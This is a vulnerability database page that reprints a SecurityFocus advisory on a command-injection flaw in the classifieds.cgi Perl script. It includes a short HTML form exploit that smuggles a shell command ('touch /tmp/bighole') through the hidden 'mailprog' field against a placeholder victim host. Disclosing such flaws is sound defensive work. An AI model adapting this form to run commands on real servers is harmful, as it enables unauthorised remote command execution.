Greg Matthews - 'Classifieds.cgi' 1.0 Hidden Variable
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | classifieds.cgi Multiple Vulnerabilities | 20 Aug 200400:00 | – | nessus |
| Multiple Dangerous CGI Script Detection | 17 Jun 200300:00 | – | nessus |
 | CVE-1999-0935 | 4 Jan 200005:00 | – | cve |
 | CVE-1999-0935 | 4 Jan 200005:00 | – | cvelist |
 | EUVD-1999-0916 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-0935 | 15 Dec 199905:00 | – | nvd |
 | Detection of various dangerous CGI scripts (HTTP) - Active Check | 3 Nov 200500:00 | – | openvas |
 | PT-1999-1476 · Unknown · Classifieds.Cgi | 15 Dec 199900:00 | – | ptsecurity |
source: https://www.securityfocus.com/bid/2019/info
Classifieds.cgi is a perl script (part of the classifieds package by Greg Matthews) which provides simple classified ads to web sites. Due to improper input validation it can be used to execute any command on the host machine, with the privileges of the web server. If the attacker can submit a command to run as a hidden variable that command will be executed. Normally this variable is reserved for the mail program and is accessed from an HTML page with the following piece of code: <input type="hidden" name="mailprog" value="/usr/sbin/sendmail">
<form method=post action="/cgi-bin/classifieds.cgi">
<input type="hidden" name="ClassifiedsDir" value="/home/httpd/html/class/ads/">
<input type="hidden" name="ViewDir" value="http://victim.com/class/ads/">
<input type="hidden" name="ErrorReturn" value="http://victim.com/class/index.html">
<input type="hidden" name="ReturnURL" value="http://victim.com/class/hi.html">
<input type="hidden" name="return" value="[email protected]">
<input type="hidden" name="mailprog" value="touch /tmp/bighole">
<b>Which department do you want your ad to be placed in or you would like to view?
</form>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.09811